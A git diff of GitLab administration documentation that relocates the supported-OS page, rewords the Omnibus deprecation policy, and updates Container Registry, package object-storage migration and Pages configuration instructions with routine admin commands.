-| CentOS 6 | [November 2020](https://wiki.centos.org/About/Product) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=13.6&filter=all&filter=all&dist=el%2F6) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=13.6&filter=all&filter=all&dist=el%2F6) 13.6 |
-| OpenSUSE 15.1 | [November 2020](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-13.12&dist=opensuse%2F15.1) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-13.12&dist=opensuse%2F15.2) 13.12 |
-| Ubuntu 16.04 | [April 2021](https://ubuntu.com/info/release-end-of-life) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_13.12&dist=ubuntu%2Fxenial) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_13.12&dist=ubuntu%2Fxenial) 13.12 |
-
-NOTE:
-An exception to this deprecation policy is when we are unable to provide
-packages for the next version of the operating system. The most common reason
-for this our package repository provider, Packagecloud, not supporting newer
-versions and hence we can't upload packages to it.
-
-## Update GitLab package sources after upgrading the OS
-
-After upgrading the Operating System (OS) as per its own documentation,
-it may be necessary to also update the GitLab package source URL
-in your package manager configuration.
-If your package manager reports that no further updates are available,
-although [new versions have been released](https://about.gitlab.com/releases/categories/releases/), repeat the
-"Add the GitLab package repository" instructions
-of the [Linux package install guide](https://about.gitlab.com/install/#content).
-Future GitLab upgrades will now be fetched according to your upgraded OS.
-
-## Supported Operating Systems
-
-GitLab officially supports LTS versions of operating systems. While OSs like
-Ubuntu have a clear distinction between LTS and non-LTS versions, there are
-other OSs, openSUSE for example, that don't follow the LTS concept. Hence to
-avoid confusion, the official policy is that at any point of time, all the
-operating systems supported by GitLab are listed in the [installation
-page](https://about.gitlab.com/install/).
-
-The following lists the currently supported OSs and their possible EOL dates.
-
-| OS Version | First supported GitLab version | Arch | OS EOL | Details |
-| ---------------- | ------------------------------ | --------------- | ------------- | ------------------------------------------------------------ |
-| CentOS 7 | GitLab CE / GitLab EE 7.10.0 | x86_64 | June 2024 | <https://wiki.centos.org/About/Product> |
-| CentOS 8 | GitLab CE / GitLab EE 12.8.1 | x86_64, aarch64 | Dec 2021 | <https://wiki.centos.org/About/Product> |
-| Debian 9 | GitLab CE / GitLab EE 9.3.0 | amd64 | 2022 | <https://wiki.debian.org/DebianReleases#Production_Releases> |
-| Debian 10 | GitLab CE / GitLab EE 12.2.0 | amd64, arm64 | TBD | <https://wiki.debian.org/DebianReleases#Production_Releases> |
-| OpenSUSE 15.2 | GitLab CE / GitLab EE 13.11.0 | x86_64, aarch64 | Dec 2021 | <https://en.opensuse.org/Lifetime> |
-| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | Nov 2022 | <https://en.opensuse.org/Lifetime> |
-| SLES 12 | GitLab EE 9.0.0 | x86_64 | Oct 2027 | <https://www.suse.com/lifecycle/> |
-| Ubuntu 18.04 | GitLab CE / GitLab EE 10.7.0 | amd64 | April 2023 | <https://wiki.ubuntu.com/Releases> |
-| Ubuntu 20.04 | GitLab CE / GitLab EE 13.2.0 | amd64, arm64 | April 2025 | <https://wiki.ubuntu.com/Releases> |
-| Raspbian Buster | GitLab CE 12.2.0 | armhf | 2022 | <https://wiki.debian.org/DebianReleases#Production_Releases> |
-
-### Packages for ARM64
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-omnibus-builder/-/issues/27) in GitLab 13.4.
-
-GitLab provides arm64/aarch64 packages for some supported operating systems.
-You can see if your operating system architecture is supported in the table
-above.
-
-WARNING:
-There are currently still some [known issues and limitation](https://gitlab.com/groups/gitlab-org/-/epics/4397)
-running GitLab on ARM.
+<!-- This redirect file can be deleted after <2022-02-18>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/package_information/deprecation_policy.md b/doc/administration/package_information/deprecation_policy.md
index d45c2ea3127..905de387dcb 100644
--- a/doc/administration/package_information/deprecation_policy.md
+++ b/doc/administration/package_information/deprecation_policy.md
@@ -16,18 +16,18 @@ setup, various configuration requires removal.
### Policy
-The Omnibus GitLab package will retain configuration for at least **one major**
-version. We cannot guarantee that deprecated configuration
-will be available in the next major release. See [example](#example) for more details.
+The Omnibus GitLab package retains configuration for at least **one major**
+version. We can't guarantee that deprecated configuration
+is available in the next major release. See [example](#example) for more details.
### Notice
-If the configuration becomes obsolete, we will announce the deprecation:
+If the configuration becomes obsolete, we announce the deprecation:
- via release blog post on `https://about.gitlab.com/blog/`. The blog post item
- will contain the deprecation notice together with the target removal date.
+ contains the deprecation notice together with the target removal date.
- via installation/reconfigure output (if applicable).
-- via official documentation on `https://docs.gitlab.com/`. The documentation update will contain the corrected syntax (if applicable) or a date of configuration removal.
+- via official documentation on `https://docs.gitlab.com/`. The documentation update contains the corrected syntax (if applicable) or a date of configuration removal.
### Procedure
@@ -82,16 +82,16 @@ The final comment in the issue **has to have**:
## Example
-User configuration available in `/etc/gitlab/gitlab.rb` was introduced in GitLab version 10.0, `gitlab_rails['configuration'] = true`. In GitLab version 10.4.0, a new change was introduced that requires rename of this configuration option. New configuration option is `gitlab_rails['better_configuration'] = true`. Development team will translate the old configuration into new one
-and trigger a deprecation procedure.
+User configuration available in `/etc/gitlab/gitlab.rb` was introduced in GitLab version 10.0, `gitlab_rails['configuration'] = true`. In GitLab version 10.4.0, a new change was introduced that requires rename of this configuration option. New configuration option is `gitlab_rails['better_configuration'] = true`. Development team translates the old configuration into a new one
+and triggers a deprecation procedure.
This means that these two configuration
-options will both be valid through GitLab version 10. In other words,
+options are valid through GitLab version 10. In other words,
if you still have `gitlab_rails['configuration'] = true` set in GitLab 10.8.0
-the feature will continue working the same way as if you had `gitlab_rails['better_configuration'] = true` set.
-However, setting the old version of configuration will print out a deprecation
+the feature continues working the same way as if you had `gitlab_rails['better_configuration'] = true` set.
+However, setting the old version of the configuration prints out a deprecation
notice at the end of installation/upgrade/reconfigure run.
-With GitLab 11, `gitlab_rails['configuration'] = true` will no longer work and you will have to manually change the configuration in `/etc/gitlab/gitlab.rb` to the new valid configuration.
+In GitLab 11, `gitlab_rails['configuration'] = true` no longer works and you must manually change the configuration in `/etc/gitlab/gitlab.rb` to the new valid configuration.
**Note** If this configuration option is sensitive and can put integrity of the installation or
-data in danger, installation/upgrade will be aborted.
+data in danger,the installation or upgrade is aborted.
diff --git a/doc/administration/package_information/index.md b/doc/administration/package_information/index.md
index 12f3274ecab..ab4b1edfa30 100644
--- a/doc/administration/package_information/index.md
+++ b/doc/administration/package_information/index.md
@@ -18,7 +18,7 @@ The released package versions are in the format `MAJOR.MINOR.PATCH-EDITION.OMNIB
|-------------------|---------|---------|
| MAJOR.MINOR.PATCH | The GitLab version this corresponds to. | 13.3.0 |
| EDITION | The edition of GitLab this corresponds to. | ee |
-| OMNIBUS_RELEASE | The Omnibus GitLab release. Usually, this will be 0. This is incremented if we need to build a new package without changing the GitLab version. | 0 |
+| OMNIBUS_RELEASE | The Omnibus GitLab release. Usually, this is 0. This is incremented if we need to build a new package without changing the GitLab version. | 0 |
## Licenses
@@ -27,7 +27,7 @@ See [licensing](licensing.md)
## Defaults
The Omnibus GitLab package requires various configuration to get the components
-in working order. If the configuration is not provided, the package will use
+in working order. If the configuration is not provided, the package uses
the default values assumed in the package.
These defaults are noted in the package [defaults document](defaults.md).
@@ -59,8 +59,8 @@ accidental overwrite of user configuration provided in `/etc/gitlab/gitlab.rb`.
New configuration options are noted in the
[`gitlab.rb.template` file](https://gitlab.com/gitlab-org/omnibus-gitlab/raw/master/files/gitlab-config-template/gitlab.rb.template).
-The Omnibus GitLab package also provides convenience command which will
-compare the existing user configuration with the latest version of the
+The Omnibus GitLab package also provides convenience command which
+compares the existing user configuration with the latest version of the
template contained in the package.
To view a diff between your configuration file and the latest version, run:
@@ -76,7 +76,7 @@ characters on each line.
## Init system detection
-Omnibus GitLab will attempt to query the underlaying system in order to
+Omnibus GitLab attempts to query the underlaying system in order to
check which init system it uses.
This manifests itself as a `WARNING` during the `sudo gitlab-ctl reconfigure`
run.
diff --git a/doc/administration/package_information/supported_os.md b/doc/administration/package_information/supported_os.md
new file mode 100644
index 00000000000..fcc2fef3e63
--- /dev/null
+++ b/doc/administration/package_information/supported_os.md
@@ -0,0 +1,90 @@
+---
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Supported operating systems **(FREE SELF)**
+
+GitLab officially supports LTS versions of operating systems. While OSs like
+Ubuntu have a clear distinction between LTS and non-LTS versions, there are
+other OSs, openSUSE for example, that don't follow the LTS concept. Hence to
+avoid confusion, the official policy is that at any point of time, all the
+operating systems supported by GitLab are listed in the [installation
+page](https://about.gitlab.com/install/).
+
+The following lists the currently supported OSs and their possible EOL dates.
+
+| OS Version | First supported GitLab version | Arch | OS EOL | Details |
+| ---------------- | ------------------------------ | --------------- | ------------- | ------------------------------------------------------------ |
+| CentOS 7 | GitLab CE / GitLab EE 7.10.0 | x86_64 | June 2024 | <https://wiki.centos.org/About/Product> |
+| CentOS 8 | GitLab CE / GitLab EE 12.8.1 | x86_64, aarch64 | Dec 2021 | <https://wiki.centos.org/About/Product> |
+| Debian 9 | GitLab CE / GitLab EE 9.3.0 | amd64 | 2022 | <https://wiki.debian.org/LTS> |
+| Debian 10 | GitLab CE / GitLab EE 12.2.0 | amd64, arm64 | 2024 | <https://wiki.debian.org/LTS> |
+| Debian 11 | GitLab CE / GitLab EE 14.6.0 | amd64, arm64 | 2026 | <https://wiki.debian.org/LTS> |
+| OpenSUSE 15.2 | GitLab CE / GitLab EE 13.11.0 | x86_64, aarch64 | Dec 2021 | <https://en.opensuse.org/Lifetime> |
+| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | Nov 2022 | <https://en.opensuse.org/Lifetime> |
+| SLES 12 | GitLab EE 9.0.0 | x86_64 | Oct 2027 | <https://www.suse.com/lifecycle/> |
+| Ubuntu 18.04 | GitLab CE / GitLab EE 10.7.0 | amd64 | April 2023 | <https://wiki.ubuntu.com/Releases> |
+| Ubuntu 20.04 | GitLab CE / GitLab EE 13.2.0 | amd64, arm64 | April 2025 | <https://wiki.ubuntu.com/Releases> |
+| Raspbian Buster | GitLab CE 12.2.0 | armhf | 2022 | <https://wiki.debian.org/DebianReleases#Production_Releases> |
+
+NOTE:
+CentOS 8 will be EOL on December 31, 2021. In GitLab 14.5 and later,
+[CentOS builds work in AlmaLinux](https://gitlab.com/gitlab-org/distribution/team-tasks/-/issues/954#note_730198505).
+We will officially support all distributions that are binary compatible with Red Hat Enterprise Linux.
+This gives users a path forward for their CentOS 8 builds at its end of life.
+
+## Update GitLab package sources after upgrading the OS
+
+After upgrading the Operating System (OS) as per its own documentation,
+it may be necessary to also update the GitLab package source URL
+in your package manager configuration.
+If your package manager reports that no further updates are available,
+although [new versions have been released](https://about.gitlab.com/releases/categories/releases/), repeat the
+"Add the GitLab package repository" instructions
+of the [Linux package install guide](https://about.gitlab.com/install/#content).
+Future GitLab upgrades will now be fetched according to your upgraded OS.
+
+## Packages for ARM64
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-omnibus-builder/-/issues/27) in GitLab 13.4.
+
+GitLab provides arm64/aarch64 packages for some supported operating systems.
+You can see if your operating system architecture is supported in the table
+above.
+
+WARNING:
+There are currently still some [known issues and limitation](https://gitlab.com/groups/gitlab-org/-/epics/4397)
+running GitLab on ARM.
+
+## OS Versions that are no longer supported
+
+GitLab provides omnibus packages for operating systems only until their
+EOL (End-Of-Life). After the EOL date of the OS, GitLab will stop releasing
+official packages. The list of deprecated operating systems and the final GitLab
+release for them can be found below:
+
+| OS Version | End Of Life | Last supported GitLab version |
+| --------------- | ---------------------------------------------------------------------------------- | -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| Raspbian Wheezy | [May 2015](https://downloads.raspberrypi.org/raspbian/images/raspbian-2015-05-07/) | [GitLab CE](https://packages.gitlab.com/app/gitlab/raspberry-pi2/search?q=gitlab-ce_8.17&dist=debian%2Fwheezy) 8.17 |
+| OpenSUSE 13.2 | [January 2017](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-9.1&dist=opensuse%2F13.2) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-9.1&dist=opensuse%2F13.2) 9.1 |
+| Ubuntu 12.04 | [April 2017](https://ubuntu.com/info/release-end-of-life) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_9.1&dist=ubuntu%2Fprecise) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_9.1&dist=ubuntu%2Fprecise) 9.1 |
+| OpenSUSE 42.1 | [May 2017](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-9.3&dist=opensuse%2F42.1) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-9.3&dist=opensuse%2F42.1) 9.3 |
+| OpenSUSE 42.2 | [January 2018](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-10.4&dist=opensuse%2F42.2) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-10.4&dist=opensuse%2F42.2) 10.4 |
+| Debian Wheezy | [May 2018](https://www.debian.org/News/2018/20180601) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_11.6&dist=debian%2Fwheezy) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_11.6&dist=debian%2Fwheezy) 11.6 |
+| Raspbian Jessie | [May 2017](https://downloads.raspberrypi.org/raspbian/images/raspbian-2017-07-05/) | [GitLab CE](https://packages.gitlab.com/app/gitlab/raspberry-pi2/search?q=gitlab-ce_11.7&dist=debian%2Fjessie) 11.7 |
+| Ubuntu 14.04 | [April 2019](https://ubuntu.com/info/release-end-of-life) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_11.10&dist=ubuntu%2Ftrusty) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_11.10&dist=ubuntu%2Ftrusty) 11.10 |
+| OpenSUSE 42.3 | [July 2019](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-12.1&dist=opensuse%2F42.3) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-12.1&dist=opensuse%2F42.3) 12.1 |
+| OpenSUSE 15.0 | [December 2019](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-12.5&dist=opensuse%2F15.0) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-12.5&dist=opensuse%2F15.0) 12.5 |
+| Raspbian Stretch | [June 2020](https://downloads.raspberrypi.org/raspbian/images/raspbian-2019-04-09/) | [GitLab CE](https://packages.gitlab.com/app/gitlab/raspberry-pi2/search?q=gitlab-ce_13.2&dist=raspbian%2Fstretch) 13.3 |
+| Debian Jessie | [June 2020](https://www.debian.org/News/2020/20200709) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_13.2&dist=debian%2Fjessie) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_13.2&dist=debian%2Fjessie) 13.3 |
+| CentOS 6 | [November 2020](https://wiki.centos.org/About/Product) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=13.6&filter=all&filter=all&dist=el%2F6) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=13.6&filter=all&filter=all&dist=el%2F6) 13.6 |
+| OpenSUSE 15.1 | [November 2020](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-13.12&dist=opensuse%2F15.1) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-13.12&dist=opensuse%2F15.2) 13.12 |
+| Ubuntu 16.04 | [April 2021](https://ubuntu.com/info/release-end-of-life) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_13.12&dist=ubuntu%2Fxenial) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_13.12&dist=ubuntu%2Fxenial) 13.12 |
+
+NOTE:
+An exception to this deprecation policy is when we are unable to provide
+packages for the next version of the operating system. The most common reason
+for this our package repository provider, PackageCloud, not supporting newer
+versions and hence we can't upload packages to it.
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index 7e711bb5740..0877fe510de 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -436,7 +436,7 @@ To configure the `s3` storage driver in Omnibus:
```
If using with an [AWS S3 VPC endpoint](https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints-s3.html),
- then set `regionendpoint` to your VPC endpoint address and set `path_style` to false:
+ then set `regionendpoint` to your VPC endpoint address and set `pathstyle` to false:
```ruby
registry['storage'] = {
@@ -446,7 +446,7 @@ To configure the `s3` storage driver in Omnibus:
'bucket' => 'your-s3-bucket',
'region' => 'your-s3-region',
'regionendpoint' => 'your-s3-vpc-endpoint',
- 'path_style' => false
+ 'pathstyle' => false
}
}
```
@@ -454,7 +454,7 @@ To configure the `s3` storage driver in Omnibus:
- `regionendpoint` is only required when configuring an S3 compatible service such as MinIO, or
when using an AWS S3 VPC Endpoint.
- `your-s3-bucket` should be the name of a bucket that exists, and can't include subdirectories.
- - `path_style` should be set to true to use `host/bucket_name/object` style paths instead of
+ - `pathstyle` should be set to true to use `host/bucket_name/object` style paths instead of
`bucket_name.host/object`. [Set to false for AWS S3](https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/).
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -484,6 +484,12 @@ storage:
#### Migrate to object storage without downtime
+WARNING:
+Using [AWS DataSync](https://aws.amazon.com/datasync/)
+to copy the registry data to or between S3 buckets creates invalid metadata objects in the bucket.
+For additional details, see [Tags with an empty name](#tags-with-an-empty-name).
+To move data to and between S3 buckets, the AWS CLI `sync` operation is recommended.
+
To migrate storage without stopping the Container Registry, set the Container Registry
to read-only mode. On large instances, this may require the Container Registry
to be in read-only mode for a while. During this time,
@@ -860,7 +866,7 @@ To remove image tags by running the cleanup policy, run the following commands i
# Numeric ID of the project whose container registry should be cleaned up
P = <project_id>
-# Numeric ID of a developer, maintainer or owner in that project
+# Numeric ID of a user with Developer, Maintainer, or Owner role for the project
U = <user_id>
# Get required details / objects
@@ -873,7 +879,7 @@ project.container_repositories.find_each do |repo|
puts repo.attributes
# Start the tag cleanup
- puts Projects::ContainerRepository::CleanupTagsService.new(project, user, policy.attributes.except("created_at", "updated_at")).execute(repo)
+ puts Projects::ContainerRepository::CleanupTagsService.new(repo, user, policy.attributes.except("created_at", "updated_at")).execute()
end
```
@@ -888,7 +894,7 @@ GitLab offers a set of APIs to manipulate the Container Registry and aid the pro
of removing unused tags. Currently, this is exposed using the API, but in the future,
these controls should migrate to the GitLab interface.
-Project maintainers can
+Users who have the [Maintainer role](../../user/permissions.md) for the project can
[delete Container Registry tags in bulk](../../api/container_registry.md#delete-registry-repository-tags-in-bulk)
periodically based on their own criteria, however, this alone does not recycle data,
it only unlinks tags from manifests and image blobs. To recycle the Container
@@ -1072,6 +1078,19 @@ PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
You may want to add the `-m` flag to [remove untagged manifests and unreferenced layers](#removing-untagged-manifests-and-unreferenced-layers).
+### Stop garbage collection
+
+If you anticipate stopping garbage collection, you should manually run garbage collection as
+described in [Performing garbage collection without downtime](#performing-garbage-collection-without-downtime).
+You can then stop garbage collection by pressing <kbd>Control</kbd>+<kbd>C</kbd>.
+
+Otherwise, interrupting `gitlab-ctl` could leave your registry service in a down state. In this
+case, you must find the [garbage collection process](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/files/gitlab-ctl-commands/registry_garbage_collect.rb#L26-35)
+itself on the system so that the `gitlab-ctl` command can bring the registry service back up again.
+
+Also, there's no way to save progress or results during the mark phase of the process. Only once
+blobs start being deleted is anything permanent done.
+
## Configuring GitLab and Registry to run on separate nodes (Omnibus GitLab)
By default, package assumes that both services are running on the same node.
@@ -1080,28 +1099,28 @@ is necessary for Registry and GitLab.
### Configuring Registry
-Below you will find configuration options you should set in `/etc/gitlab/gitlab.rb`,
+Below you can find configuration options you should set in `/etc/gitlab/gitlab.rb`,
for Registry to run separately from GitLab:
- `registry['registry_http_addr']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/libraries/registry.rb#L50). Needs to be reachable by web server (or LB).
- `registry['token_realm']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/libraries/registry.rb#L53). Specifies the endpoint to use to perform authentication, usually the GitLab URL.
This endpoint needs to be reachable by user.
- `registry['http_secret']`, [random string](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/libraries/registry.rb#L32). A random piece of data used to sign state that may be stored with the client to protect against tampering.
-- `registry['internal_key']`, default [automatically generated](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/recipes/gitlab-rails.rb#L113-119). Contents of the key that GitLab uses to sign the tokens. They key gets created on the Registry server, but it won't be used there.
-- `gitlab_rails['registry_key_path']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/recipes/gitlab-rails.rb#L35). This is the path where `internal_key` contents will be written to disk.
+- `registry['internal_key']`, default [automatically generated](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/recipes/gitlab-rails.rb#L113-119). Contents of the key that GitLab uses to sign the tokens. They key gets created on the Registry server, but it is not used there.
+- `gitlab_rails['registry_key_path']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/recipes/gitlab-rails.rb#L35). This is the path where `internal_key` contents are written to disk.
- `registry['internal_certificate']`, default [automatically generated](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/registry/recipes/enable.rb#L60-66). Contents of the certificate that GitLab uses to sign the tokens.
- `registry['rootcertbundle']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/registry/recipes/enable.rb#L60). Path to certificate. This is the path where `internal_certificate`
- contents will be written to disk.
+ contents are written to disk.
- `registry['health_storagedriver_enabled']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-7-stable/files/gitlab-cookbooks/gitlab/libraries/registry.rb#L88). Configure whether health checks on the configured storage driver are enabled.
- `gitlab_rails['registry_issuer']`, [default value](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/attributes/default.rb#L153). This setting needs to be set the same between Registry and GitLab.
### Configuring GitLab
-Below you will find configuration options you should set in `/etc/gitlab/gitlab.rb`,
+Below you can find configuration options you should set in `/etc/gitlab/gitlab.rb`,
for GitLab to run separately from Registry:
-- `gitlab_rails['registry_enabled']`, must be set to `true`. This setting will
- signal to GitLab that it should allow Registry API requests.
+- `gitlab_rails['registry_enabled']`, must be set to `true`. This setting
+ signals to GitLab that it should allow Registry API requests.
- `gitlab_rails['registry_api_url']`, default [set programmatically](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/10-3-stable/files/gitlab-cookbooks/gitlab/libraries/registry.rb#L52). This is the Registry URL used internally that users do not need to interact with, `registry['registry_http_addr']` with scheme.
- `gitlab_rails['registry_host']`, eg. `registry.gitlab.example`. Registry endpoint without the scheme, the address that gets shown to the end user.
- `gitlab_rails['registry_port']`. Registry endpoint port, visible to the end user.
@@ -1257,7 +1276,7 @@ Check which files are in use:
enabled: true
host: gitlab.company.com
port: 4567
- api_url: http://127.0.0.1:5000 # internal address to the registry, will be used by GitLab to directly communicate with API
+ api_url: http://127.0.0.1:5000 # internal address to the registry, is used by GitLab to directly communicate with API
path: /var/opt/gitlab/gitlab-rails/shared/registry
--> key: /var/opt/gitlab/gitlab-rails/etc/gitlab-registry.key
issuer: omnibus-gitlab-issuer
@@ -1501,6 +1520,28 @@ The most straightforward option is to pull those images and push them once again
using a Docker client version above v1.12. Docker converts images automatically before pushing them
to the registry. Once done, all your v1 images should now be available as v2 images.
+### Tags with an empty name
+
+If using [AWS DataSync](https://aws.amazon.com/datasync/)
+to copy the registry data to or between S3 buckets, an empty metadata object is created in the root
+path of each container repository in the destination bucket. This causes the registry to interpret
+such files as a tag that appears with no name in the GitLab UI and API. For more information, see
+[this issue](https://gitlab.com/gitlab-org/container-registry/-/issues/341).
+
+To fix this you can do one of two things:
+
+- Use the AWS CLI [`rm`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/rm.html)
+ command to remove the empty objects from the root of **each** affected repository. Pay special
+ attention to the trailing `/` and make sure **not** to use the `--recursive` option:
+
+ ```shell
+ aws s3 rm s3://<bucket>/docker/registry/v2/repositories/<path to repository>/
+ ```
+
+- Use the AWS CLI [`sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html)
+ command to copy the registry data to a new bucket and configure the registry to use it. This
+ leaves the empty objects behind.
+
### Advanced Troubleshooting
We use a concrete example to illustrate how to
diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md
index 90f2d9127fe..eea4964efbe 100644
--- a/doc/administration/packages/index.md
+++ b/doc/administration/packages/index.md
@@ -218,8 +218,8 @@ We recommend using the [consolidated object storage settings](../object_storage.
### Migrating local packages to object storage
-After [configuring the object storage](#using-object-storage), you may use the
-following task to migrate existing packages from the local storage to the remote one.
+After [configuring the object storage](#using-object-storage), use the following task to
+migrate existing packages from the local storage to the remote storage.
The processing is done in a background worker and requires **no downtime**.
For Omnibus GitLab:
@@ -234,11 +234,13 @@ For installations from source:
RAILS_ENV=production sudo -u git -H bundle exec rake gitlab:packages:migrate
```
-You can optionally track progress and verify that all packages migrated successfully.
+You can optionally track progress and verify that all packages migrated successfully using the
+[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
-From the [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
-(`sudo gitlab-psql -d gitlabhq_production` for Omnibus GitLab), verify that `objectstg` below (where
-`file_store=2`) has the count of all packages:
+- `sudo gitlab-rails dbconsole` for Omnibus GitLab instances.
+- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+
+Verify `objectstg` below (where `store=2`) has count of all packages:
```shell
gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM packages_package_files;
@@ -247,3 +249,9 @@ total | filesystem | objectstg
------+------------+-----------
34 | 0 | 34
```
+
+Verify that there are no files on disk in the `packages` folder:
+
+```shell
+sudo find /var/opt/gitlab/gitlab-rails/shared/packages -type f | grep -v tmp | wc -l
+```
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index 163eb5388b6..f3ad474771c 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -56,11 +56,11 @@ Before proceeding with the Pages configuration, you must:
| `gitlab.example.com` | `pages.example.com` | **{check-circle}** Yes |
1. Configure a **wildcard DNS record**.
-1. (Optional) Have a **wildcard certificate** for that domain if you decide to
+1. Optional. Have a **wildcard certificate** for that domain if you decide to
serve Pages under HTTPS.
-1. (Optional but recommended) Enable [Shared runners](../../ci/runners/index.md)
+1. Optional but recommended. Enable [Shared runners](../../ci/runners/index.md)
so that your users don't have to bring their own.
-1. (Only for custom domains) Have a **secondary IP**.
+1. For custom domains, have a **secondary IP**.
NOTE:
If your GitLab instance and the Pages daemon are deployed in a private network or behind a firewall, your GitLab Pages websites are only accessible to devices/users that have access to the private network.
@@ -144,7 +144,8 @@ The Pages daemon doesn't listen to the outside world.
1. Set the external URL for GitLab Pages in `/etc/gitlab/gitlab.rb`:
```ruby
- pages_external_url 'http://example.io'
+ external_url "http://gitlab.example.com" # external_url here is only for reference
+ pages_external_url "http://pages.example.com" # not a subdomain of external_url
```
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -169,7 +170,8 @@ outside world.
